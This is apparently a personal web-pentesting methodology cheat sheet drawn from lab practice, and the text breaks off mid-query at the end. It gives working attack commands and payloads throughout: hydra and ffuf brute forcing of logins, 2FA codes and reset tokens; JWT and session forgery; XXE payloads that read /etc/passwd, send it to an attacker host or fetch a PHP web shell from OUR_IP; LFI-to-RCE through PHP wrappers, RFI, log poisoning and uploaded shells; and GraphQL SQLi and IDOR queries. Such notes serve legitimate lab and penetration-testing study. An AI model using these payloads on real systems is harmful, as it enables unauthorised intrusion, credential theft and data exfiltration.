16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
==> Many times if an employee has to change his password , he will just make veeery minor changes :
Eg : Winter2026 ==> Winter2026@ or Winter2027 ...
If we know the old password we can try to change it a bit and see if works
(Found this on an actual Box , where we find SSH password and we just change the year
to access another service ^^ )
==> Usefull Wordlist :
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Usernames/top-usernames-shortlist.txt
https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/darkweb2017_top-10000.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/56a39ab9a70a89b56d66dad8bdffb887fba1260e/Passwords/2023-200_most_used_passwords.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Common-Credentials/2023-200_most_used_passwords.txt
==> Custom Wordlists :
1/ Username Anarchy :
sudo apt install ruby -y
git clone https://github.com/urbanadventurer/username-anarchy.git
cd username-anarchy
./username-anarchy Jane Smith > jane_smith_usernames.txt
==> If we want to filter for these requirements :
Minimum length: 8 characters
Must include:
At least one uppercase letter
At least one lowercase letter
At least one number
wget https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Common-Credentials/darkweb2017_top-10000.txt
grep -E '^.{8,}$' darkweb2017_top-10000.txt > darkweb2017-minlength.txt : 8 minimum
grep -E '[A-Z]' darkweb2017-minlength.txt > darkweb2017-uppercase.txt : must contain upper
grep -E '[a-z]' darkweb2017-uppercase.txt > darkweb2017-lowercase.txt : must contain lower
grep -E '[0-9]' darkweb2017-lowercase.txt > darkweb2017-number.txt : must contain numbers
==> Using Hydra :
1/ HTTP Get :
hydra -L usernames.txt -P passwords.txt www.example.com http-get /login
hydra -L usernames.txt -P passwords.txt www.example.com http-get /login -s 81
2/ FTP :
hydra -L usernames.txt -P passwords.txt -s 2121 -V ftp.example.com ftp
3/ SSH :
hydra -l root -p toor -M targets.txt ssh
4/ HTTP POST : filter for Redirect (302) , or check Burp for how the request should look like .
hydra -l admin -P passwords.txt www.example.com http-post-form "/login:user=^USER^&pass=^PASS^:S=302"
hydra -L Users -P Pass -f IP -s 5000 http-post-form "/:username=^USER^&password=^PASS^:F=Invalid credentials"
5/ RDP but we're trying to generate a combination of 6 to 8 charcters Weird but anyways :
hydra -l administrator -x 6:8:abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 192.168.1.100 rdp
Authentication Bypass :
Via Brute Forcing :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
==> Enumerating users : List of used usernames .
https://github.com/danielmiessler/SecLists/tree/master/Usernames
+ If we re getting different responses based on the username , we can use that to enumerate all users .
Eg : Admin = returns password incorrect , AAAA = returns Unknow User .
ffuf -w /opt/useful/seclists/Usernames/xato-net-10-million-usernames.txt -u http://172.17.0.2/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "username=FUZZ&password=invalid" -fr "Unknown user"
==> Enumerating users based on Reponse Time : (Found in Hacksmarter Hunter Lab)
+ Test Password Reset functionality
+ Sometimes it takes longer to give a response for a user that already exists , or visversa
+ Check the time it takes for each of them ; Filter based on that using FUFF.
==> Brute Forcing Passwords :
Eg : Say password should be 10 characters contains Upper , Lower , Digit , using Grep :
grep '[[:upper:]]' /opt/useful/seclists/Passwords/Leaked-Databases/rockyou.txt | grep '[[:lower:]]' | grep '[[:digit:]]' | grep -E '.{10}' > custom_wordlist.txt
Or using AWK :
awk 'length($0) >= 10 && /[a-z]/ && /[A-Z]/ && /[0-9]/' /opt/useful/seclists/Passwords/Leaked-Databases/rockyou.txt > custom_wordlist.txt
==> What then ?
+ Check the response we get , craft our FFUF request (use Burp to get details about Requst)
ffuf -w ./custom_wordlist.txt -u http://172.17.0.2/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "username=admin&password=FUZZ" -fr "Invalid username"
==> Brute Forcing Reset Tokens :
+ We try to reset our password , this gives us this URL :
+ http://weak_reset.htb/reset_password.php?token=7351
+ We can try all 4 digits combinations and see if we can brute force it :
seq -w 0 9999 > tokens.txt
ffuf -w ./tokens.txt -u http://weak_reset.htb/reset_password.php?token=FUZZ -fr "The provided token is invalid"
==> Brute Forcing 2FA :
+ We find Username and password , we get redirected to the 2FA page , send a random OTP
+ We check the request to see in the body : OTP=XXX and response : Invalid 2FA Code .
seq -w 0 9999 > tokens.txt
ffuf -w ./tokens.txt -u http://bf_2fa.htb/2fa.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -b "PHPSESSID=fpfcm5b8dh1ibfa7idg0he7l93" -d "otp=FUZZ" -fr "Invalid 2FA Code"
Via Default Creds :
1
2
3
4
5
==> List of Default Credentials :
https://cirt.net/passwords/
https://github.com/scadastrangelove/SCADAPASS/tree/master
==> If we ever encounter a new technology first thing is to check for default Creds.
Attacking Password Reset Functionalities :
1
2
3
4
5
6
7
8
9
10
11
12
==> Guessable Password Reset Questions :
+ Say we find the Question is what city you were born in ?
https://github.com/datasets/world-cities/blob/main/data/world-cities.csv : List of all cities
cat world-cities.csv | cut -d ',' -f1 > city_wordlist.txt
+ In the Request Body we have : security_response=XXXX , we just FUZZ it :
ffuf -w ./city_wordlist.txt -u http://pwreset.htb/security_question.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -b "PHPSESSID=39b54j201u3rhu4tab1pvdb4pv" -d "security_response=FUZZ" -fr "Incorrect response."
==> Manipulating Reset Request :
+ Say in the Password reset Body we have this :
password=P@$$w0rd&username=htb-stdnt
+ We can of course change it to another user and see if we can change his password .
password=P@$$w0rd&username=admin
Via Direct Access :
1
2
3
4
5
6
7
==> Knowing the Final endpoint or where we will be redirected .
+ If we know the final endpoint , /admin.php for example , we can access it directly.
+ If we see that it returns a 302 into the Login Panel , we can :
1/ Select the Response + Right Click + Do Intercept + Response to this Request
2/ Modify 302 to 200 OK + Forward the response .
This might bypass the Login functionality all together .
Via Session Attacks :
1
2
3
4
5
6
7
8
9
10
11
12
==> Lack of Entropy == 32 characters Session ID : 28 static Only 4 dynamic
==> Incremented Session ID :
Check if session ID for two users are static with only last character being incremented.
==> Predictable Session ID : Base64 , Hex , URL Encoded , MD5 for example .
echo -n dXNlcj1odGItc3RkbnQ7cm9sZT11c2Vy | base64 -d
user=htb-stdnt;role=user
+ Well we can try to modify it a bit :
user=htb-stdnt;role=admin | base64
dXNlcj1odGItc3RkbnQ7cm9sZT1hZG1pbg==
+ Now we pass this inside the request and we hope it works :)
More Session Attacks :
1
2
3
4
5
6
7
8
9
10
==> Session Management Attack :
+ Supposed we had 2 users , we can try to change the tokens to see if we can access Data on behalf of the other user .
+ If we can this might sometimes not be considered a vuln , so try to change it to the Token of a user who already logged out .
+ If we still can access his information then there is no session security .
==> JWT Attacks :
+ First check if the server checks for JWT signature .
+ Remove the Last part of the JWT , it is the signature part .
+ If the server doesn't return an error that means it never checks JWT Signatures
+ This means we can Forge our Own JWT as another user .
Attacking Oauth :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
==> Insufficient Redirect URI Validation :
+ Always check if the redirect URL can point to another server .
+ We can abuse this for a Phishing campaing
==> Credential Leakage via Referer Headers :
+ Check the Headers in every request made during the Oath process .
+ Check if there is excessive information disclosed as parameters .
==> List of other Attacks to check :
+ This Blog goes into details about how to check for each of these :
https://datatracker.ietf.org/doc/id/draft-ietf-oauth-security-topics-15.html#name-authorization-code-injectio
Credential Leakage via Browser History
Mix-Up Attacks
Authorization Code Injection
Access Token Injection
Cross Site Request Forgery
Access Token Leakage at the Resource Server
Access Token Leakage at the Resource Server
Redirect
TLS Terminating Reverse Proxies
Client Impersonating Resource Owner
Clickjacking
Web Attacks
HTTP Verb Tampering :
1
2
3
4
5
6
7
8
9
10
11
12
13
==> Look for Error pages when changing HTTP Verbs , maybe it has sensitive information.
==> Try Accessing Admin Functionalities by changing the HTTP Verb .
+ First we can check what Requests are accepted by the server .
curl -i -X OPTIONS http://SERVER_IP:PORT/
PUT , HEAD , OPTIONS ,
==> We can chain this with other attacks like Command Injection , and other injections.
Eg :
+ The server is sending a POST Request containing the file name
+ We Modify it to GET , then add our command injection payload :
GET /Files.php?file=haha.txt; touch file2;
+ Post might be protected but GET can be vulnerable , always check for these as well .
IDOR :
1
2
3
4
5
6
7
8
9
10
11
==> Identifying IDOR from URL parameters or Body Request :
+ Always look for URL parameters , UID , id , ...
+ If id or UID is just a number try incrementing it to see if we can access other users.
==> Check if UID , id Hashing is base64 , md5 or something easier to crack .
+ We can also check Front end to see if the Hashing function code is accessible .
==> Try modifying the id , UID parameter to see if we can access other users information
==> + In general just check the normal behaviour of the application
+ Once we see that we have roles , id , uid that we can modify , we try that .
XXE : Detection :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
==> Definition :
+ If the web app parses XML , try injecting a custom DTD with an external entity and
reference it when parsing :
+ What's a DTD? It defines the structure of the XML Doc , it can be inside the XML file
or External ( Via SYSTEM or PUBLIC file.dtd )
+ Think of it like Initiating variables , you say company is XXX
== Call &company and it will give it the value XXX .
Eg :
<!DOCTYPE foo [
<!ENTITY name "John">
]>
<user>&name;</user>
+ Parser reads name and replace it with John , Now we can turn this into an LFI :
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>&xxe;</user>
==> Identification :
+ Let s say we have a Form that is being sent in XML format back to the server :
Eg : <user> AAA </user> , <email> YYY </email> , <message> XXX </message> .
+ In the response we get : Check your Email YYY
== This means the content of <email> is being parsed and returned to us .
+ Now what we can do is declare a DTD for email and then reference an external entity:
<!DOCTYPE email [
<!ENTITY company "YOYOYO">
]>
.....
<email>&company</email>
.....
+ Now if we send it and we find email was sent to YOYOYOYO it means we can inject XML Code.
+ How to write DTD ? We specify the field , email in this case , we give it the values :
For example we specify that company is YOYOYOYO , Payload is file:///etc/passwd
<!DOCTYPE email [
<!ENTITY company "YOYOYO">
<!ENTITY Payload SYSTEM "file:///etc/passwd">
]>
+ Then we can reference the one we want :
<?xml version="1.0"?>
<!DOCTYPE email [
<!ELEMENT email (date, sender)>
<!ENTITY xxe SYSTEM "file:///etc/passwd"> <!-- just add this -->
]>
<email>&xxe;</email>
XXE : LFI + RCE
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
==> If the web application uses JSON , check if it also accepts XML
https://www.convertjson.com/json-to-xml.htm
In Content Type select : application/xml
==> LFI Via XXE :
+ First we Create a new DTD where we specify the field that is returned in the response.
<!DOCTYPE email [
<!ENTITY company SYSTEM "file:///etc/passwd">
]>
....
<email>&xxe;</email>
....
+ We can also read Source Code :
<!DOCTYPE email [
<!ENTITY company SYSTEM "php://filter/convert.base64-encode/resource=index.php">
]>
==> RCE Via XXE : This will only work if we have the expect module enabled on PHP .
<!DOCTYPE email [
<!ENTITY company SYSTEM "expect://id">
]>
==> Web Shell Via XXE : Also Requires Expect .
+ Sometimes we might not have the response , we can upload a web shell directly :
echo '<?php system($_REQUEST["cmd"]);?>' > shell.php
sudo python3 -m http.server 80
+ Then Finally :
<?xml version="1.0"?>
<!DOCTYPE email [
<!ENTITY company SYSTEM "expect://curl$IFS-O$IFS'OUR_IP/shell.php'">
]>
<root>
<name></name>
<tel></tel>
<email>&company;</email>
<message></message>
</root>
+ Now we just navigate to it and we should be able to get our RCE .
XXE : CDATA + Error Based :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
==> What is CDATA ? We could base64 the output to not break XML format .
+ But what if we could make the parser parse everything as Raw Data, this way we will
be able to extract any type of data .
+ Now we first define the CDATA : which is basically the file we want to read ^^ .
<!ENTITY begin "<![CDATA[">
<!ENTITY file SYSTEM "file:///var/www/html/submitDetails.php">
<!ENTITY end "]]>">
+ Then we can join all of these :
<!ENTITY joined "&begin;&file;&end;"> (It should be % not & in this case)
+ But it wont work since XML doesnt allow to join % entities in the same DTD , so we
join them somewhere else (on a file that we Host ) .
==> How can we use CDATA :
+ First we create a dtd file where we put the joining :
echo '<!ENTITY joined "%begin;%file;%end;">' > xxe.dtd
python3 -m http.server 8000
+ Now we need to use XML Parameter Entity, this entity is a bit different , instead of
& , we use % and it can only be used in the DTD , but when referencing it from an
External source , then all of them will be considered External which means we can join.
<!DOCTYPE email [
<!ENTITY % begin "<![CDATA["> <!-- prepend the beginning of the CDATA tag -->
<!ENTITY % file SYSTEM "file:///var/www/html/submitDetails.php"> <!-- reference external file -->
<!ENTITY % end "]]>"> <!-- append the end of the CDATA tag -->
<!ENTITY % xxe SYSTEM "http://OUR_IP:8000/xxe.dtd"> <!-- reference our external DTD -->
%xxe;
]>
...
<email>&joined;</email> <!-- reference the &joined; entity to print the file content -->
As a Quick Summary :
1/ You cant combine entities inside the same DTD → host the combiner externally
2/ CDATA wrapping = "don't parse this as XML, treat as plain text"
3/ Result: file content safely wrapped and returned to you
==> Error Based XXE :
+ Sometimes the application might not return any output , so we can try to cause an error
to see if We can get any of the entities in the response .
Eg : Entity name is NonExistingEntity , if we get in the response : NonExistingEntity
doesnt exist then this means the application returns an error we can abuse it to get
more than just the Error message , we can get the error and content of another file .
+ First we Host a dtd file locally , which will trigger the error along with the other
file we want to read :
<!ENTITY % file SYSTEM "file:///etc/hosts">
<!ENTITY % error "<!ENTITY content SYSTEM '%nonExistingEntity;/%file;'>">
Now in the DTD script :
<!DOCTYPE email [
<!ENTITY % remote SYSTEM "http://OUR_IP:8000/xxe.dtd">
%remote; <--- LOAD THE DTD
%error; <--- Trigger the Error here .
]>
Now this will trigger both , and we will get the error as well as the output of the file.
XXE : Out Of Band :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
==> If None of the above works , the app just doesnt return anything , we can try OOB
+ What we did earlier with the hosted file is also considered OOB , but anyways .
1 / First we create the File :
+ It will consist of 2 parts , the file we want to read and the server to send the output
of what we re reading .
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % oob "<!ENTITY content SYSTEM 'http://OUR_IP:8000/?content=%file;'>">
2/ Create and host a PHP file that will do the decoding automatically :
<?php
if(isset($_GET['content'])){
error_log("\n\n" . base64_decode($_GET['content']));
}
?>
php -S 0.0.0.0:8000
3/ Inject the XML Entity :
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [
<!ENTITY % remote SYSTEM "http://OUR_IP:8000/xxe.dtd">
%remote;
%oob;
]>
<root>&content;</root>
[Your Machine] [Target Server]
│ │
│ ← send XML payload ── │
│ │ reads /etc/passwd
│ │ base64 encodes it
│ ←── GET /?content=base64data ──│
│ decode it │
│ read the file ✅ │
==> Automation :
git clone https://github.com/enjoiz/XXEinjector.git
1/ Intercept the Request , put it in a file .
2/ Dont Paste the entire XML part , just the beguinning , and add XXEINJECT (named xxe.req)
"
Connection: close
<?xml version="1.0" encoding="UTF-8"?>
XXEINJECT
"
ruby XXEinjector.rb --host=[tun0 IP] --httpport=8000 --file=xxe.req --path=/etc/passwd --oob=http --phpfilter
File Inclusion (LFI) :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
==> Basics :
http://<SERVER_IP>:<PORT>/index.php?language=../../../../etc/passwd
http://<SERVER_IP>:<PORT>/index.php?language=/../../../etc/passwd
# Sometimes the app might be appending .php to make sure we can't read any file that's not php (eg : /etc/passwd) .
==> Basic Bypasses Examples : Try encoding , avoiding the ../ , FUZZ using a wordlist :
http://<SERVER_IP>:<PORT>/index.php?language=....//....//....//....//etc/passwd
http://<SERVER_IP>:<PORT>/index.php?language=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
+ Use FFUF to FUZZ for LFI , here is a list of payloads we can use :
https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/LFI/LFI-Jhaddix.txt
==> Wrappers : If we find an LFI , we can use wrappers to read source code or even get RCE .
+++ PHP Filters : Use this to read source code :
1/ First we need to fuzz for php files that we can read :
ffuf -w /opt/useful/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://<SERVER_IP>:<PORT>/FUZZ.php
2/ Use the base64 encoding technique to read source code :
php://filter/read=convert.base64-encode/resource=index
http://<SERVER_IP>:<PORT>/index.php?language=php://filter/read=convert.base64-encode/resource=config
3/ Finally we just decode it
echo 'PD9waHAK...SNIP...KICB9Ciov' | base64 -d
RCE Via LFI :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
==> Via PHP Wrappers :
+++ Via Data Wrapper : Will only work if we have allow_url_include enabled in php settings
1/ Check the PHP config file to see if it s enabled (using the base64 filter):
On Apache it s usually here : /etc/php/X.Y/apache2/php.ini
On Ngnix : /etc/php/X.Y/fpm/php.ini
curl "http://<SERVER_IP>:<PORT>/index.php?language=php://filter/read=convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini"
echo 'W1BIUF0KCjs7Ozs7Ozs7O...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep allow_url_include
allow_url_include = On
2/ Use the data wrapper to include our php code externally , encode the php code first then pass it to the data wrapper via : data://text/plain;base64,.
echo '<?php system($_GET["cmd"]); ?>' | base64
PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+Cg==
3/ Once we include our code , we can now pass the command we want via &cmd= .
http://<SERVER_IP>:<PORT>/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id
Or using Curl :
curl -s 'http://<SERVER_IP>:<PORT>/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id' | grep uid
+++ Via Input Wrapper : Also depends on allow_url_include ,The only difference is that our input is passed as a POST Request this time .
curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://<SERVER_IP>:<PORT>/index.php?language=php://input&cmd=id" | grep uid
uid=33(www-data) gid=33(www-data) groups=33(www-data)
+++ Via Expect : This wrapper allows us to directly execute commands through URL :
1/ First we check if expect is enabled (Same way we did before) :
echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep expect
extension=expect
2/ If yes then we can just run our command easily :
curl -s "http://<SERVER_IP>:<PORT>/index.php?language=expect://id" | grep uid
uid=33(www-data) gid=33(www-data) groups=33(www-data)
==> Via RFI : Remote file inclusion , we can try to host a malicious script and include it on the app .
Again it all depends on the functions that are enabled , some of them might allow RFI .
1/ First we need to check for RFI :
+++ To do this , either check the functions or try including URLs as parameters .
http://<SERVER_IP>:<PORT>/index.php?language=http://127.0.0.1:80/index.php
If the index.php is returned this means it allows us to include other URLs .
2/ Now we just Host our malicious php script :
echo '<?php system($_GET["cmd"]); ?>' > shell.php
sudo python3 -m http.server 8080
3/ Then we just call it :
http://<SERVER_IP>:<PORT>/index.php?language=http://<OUR_IP>:8080/shell.php&cmd=id
//// Using FTP :
# Host our ftp server using python pyftpdlib :
sudo python -m pyftpdlib -p 21
http://<SERVER_IP>:<PORT>/index.php?language=ftp://<OUR_IP>/shell.php&cmd=id
url 'http://<SERVER_IP>:<PORT>/index.php?language=ftp://user:pass@<OUR_IP>/shell.php&cmd=id'
//// Using SMB :
# Make sure Shell.php is in the same directory we're hosting :
impacket-smbserver -smb2support Ourshare $(pwd)
http://<SERVER_IP>:<PORT>/index.php?language=\\<OUR_IP>\Ourshare\shell.php&cmd=whoami
==> Via File Upload :
+++ Image Upload :
echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif
Once we upload this , check source code to see where it is stored , otherwise FUZZ for upload directories .
http://<SERVER_IP>:<PORT>/index.php?language=./profile_images/shell.gif&cmd=id
+++ ZIP Upload : For this we will use the zip wrapper :
echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php
Again find where it is stored .
http://<SERVER_IP>:<PORT>/index.php?language=zip://./profile_images/shell.jpg%23shell.php&cmd=id
+++ PHAR Upload :
<?php
$phar = new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('shell.txt', '<?php system($_GET["cmd"]); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();
Now we just go ahead and compile it into a phar file and rename it :
php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg
http://<SERVER_IP>:<PORT>/index.php?language=phar://./profile_images/shell.jpg%2Fshell.txt&cmd=id
==> Log Poisonning :
The concept is the same , we write code in a field we control , then this action will get logged in a log file and from there we include the log file to execute our PHP code .
+++ Via PHP Session Poisonning : Usually session information is stored here :
/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd
1/ For example the response might be something we control eg : the page based on the ?language parameter :
http://<SERVER_IP>:<PORT>/index.php?language=session_poisoning
2/ Now let s check if we see this in the session file :
http://<SERVER_IP>:<PORT>/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd
3/ In case we see a session_poisonning int he page section , well we can include a script and execute it .
http://<SERVER_IP>:<PORT>/index.php?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E
4/ Now we just trigger it :
http://<SERVER_IP>:<PORT>/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd&cmd=id
+++ Via Server Log Poisonning :
The Log file will have information about User agent , if we can inject php code in the user agent field .
Then try accessing that log file the php code injected in User agent will get executed.
1/ First we need to find the log file :
Apache On Linux : /var/log/apache2/
Apache On Windows : C:\xampp\apache\logs\
Ngnix On Linux : /var/log/nginx/
Ngnix On Windows : C:\nginx\log\
Fuzz For Log file : https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
Now let s suppose it is default :
http://<SERVER_IP>:<PORT>/index.php?language=/var/log/apache2/access.log
2/ Use Burp to modify the User Agent , Or curl :
echo -n "User-Agent: <?php system(\$_GET['cmd']); ?>" > Poison
curl -s "http://<SERVER_IP>:<PORT>/index.php" -H @Poison
3/ Now access Log file and make sure you add your command :
curl -s "http://<SERVER_IP>:<PORT>/?language=/var/log/apache2/access.log?cmd=id "
Automated LFI :
1
2
3
4
5
6
7
8
9
10
11
12
13
==> Fuzzing Parameters : First check if there are hidden parameters in the URL .
ffuf -w /opt/useful/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?FUZZ=value'
==> LFI Fuzzing : FUZZ those parameters for LFI .
ffuf -w /opt/useful/seclists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=FUZZ' -fs 2287
==> Fuzzing For Server Files :
+++ Fuzzing for Web Root : maybe we dont know what comes before index.php and we need the full path .
ffuf -w /opt/useful/seclists/Discovery/Web-Content/default-web-root-directory-linux.txt -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ/index.php'
+++ Fuzzing for Log Files :
ffuf -w ./LFI-WordList-Linux:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ'
GraphQL :
Information Disclosure :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
==> Identifying the GraphQL Engine :
+ We can use graphw00f , it will send multiple queries to identify the engine used :
https://github.com/dolevf/graphw00f
python3 main.py -d -f -t http://172.17.0.2
+ Check graphql-threat-matrix for detailed information about the engine used .
https://github.com/nicholasaleks/graphql-threat-matrix
+ Sometimes navigating to the /graphql might give us graphiql , which is used to run queries instead of running them via burp .
==> Introspection : it allows us to query the backend structure .
+ Put it like this , default response is what the dev wants you to see
+ Introspection shows you what ACTUALLY EXISTS in the schema.
+++ For example : To identify all Types supported by the backend :
{
__schema {
types {
name
}
}
}
+++ Say we find a custom type named UserObject , we can try to identify the name of all type s fields :
{
__type(name: "UserObject") {
name
fields {
name
type {
name
kind
}
}
}
}
+++ Identify all queries supported by backend server :
1/ Use the Introspection Query :
{
__schema {
queryType {
fields {
name
description
}
}
}
}
+++ General Introspection query : this will dump all information about the backend :
query IntrospectionQuery {
__schema {
queryType { name }
mutationType { name }
subscriptionType { name }
types {
...FullType
}
directives {
name
description
locations
args {
...InputValue
}
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type { ...TypeRef }
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
}
}
}
}
2/ Use GraphQL Voyager to visualize the schema :
https://github.com/APIs-guru/graphql-voyager
CHANGE SCHEMA ==> INTROSPECTION ==> Paste Result ==> DISPLAY .
IDOR :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
==> Identifying IDOR :
+ Say we have this query when we access our profile :
{
user(username: "Our_user") {
username
id
message
role
}
}
+ Check to see if we can access another user's information :
{
user(username: "admin") {
username
id
message
role
}
}
==> Exploiting IDOR :
+ Now we know we can access their information as well .
+ Let s see if there are other fields that are hidden , we can read these for other users
+ Put it like this , default response is what the dev wants you to see ,Introspection shows you what ACTUALLY EXISTS in the schema.
+ We already found the UserObject type , now let s try and see all the fields for it :
{
__type(name: "UserObject") {
name
fields {
name
type {
name
kind
}
}
}
}
+ Say we identify a Password field in the response which is not usually sent by default .
+ We can try to query for this field , but for a different user :
{
user(username: "test") {
username
password
}
}
Injection Attacks
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
==> SQLi : This is one of the most common one to test specially that GraphQL is a query language .
+ We will use the query from earlier where we can inject to see if we break anything .
{
user(username: "Our_User' ") {
username
id
message
role
}
}
+ This shouldnt return any errors if there is a sqli vuln .
{
user(username: "Our_User' -- - ") {
username
id
message
role
}
}
+ Once confirmed , if we have the graph from voyager , then we can see what our query returns.
+ In our case user (which is vulnerbale) returns UserObject which has 6 fields.
{
user(username: "x' UNION SELECT 1,2,GROUP_CONCAT(table_name),4,5,6 FROM information_schema.tables WHERE table_schema=database()-- -") {
username
}
}
+ the result will be in the username field .
+ Since it's just SQLi we can use payloads from the SQLi part in this methdology .
1
2
3
4
5
6
7
8
9
10
11
==> XSS :
+ We can try multiple XSS payloads , simplest one to test : <script>alert(1)</script>.
{
user(username: "<script>alert(1)</script>") {
username
id
message
role
}
}
+ We might have it reflected on the response , check the burp response .
Denial Of Service (DOS) :
1
2
3
4
5
6
7
8
9
10
==> First we use Voyager to spot loops in the schema.
The field "post" in Query returns a PostObject.
PostObject has an "author" field → returns UserObject.
UserObject has a "posts" field → returns PostObject again.
That creates a loop:
Post → author(User) → posts(Post) → author(User) → ...
Each level multiplies the data
→ Server gets overwhelmed = DoS
Batching Attacks :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
This is more a feature than a bug , but having it might cause some issues in some cases.
This is executing 2 Queries in the same request .
[
{
"query":"{user(username: \"admin\") {uuid}}"
},
{
"query":"{post(id: 1) {title}}"
}
]
==> Brute Forcing for example :
+ Say we have rate limiting when it comes to brute forcing , only 4 passwords per second
+ An attacker might send 1 HTTP request only with 1000 requests .
+ This means it will send 4000 attempts per second instead .
Mutations :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
==> We can read data , but via Mutation we can modify that data .
+ We can add , delete , update existing objects even .
1/ First let s start by identifying the mutations that exist :
query {
__schema {
mutationType {
name
fields {
name
args {
name
defaultValue
type {
...TypeRef
}
}
}
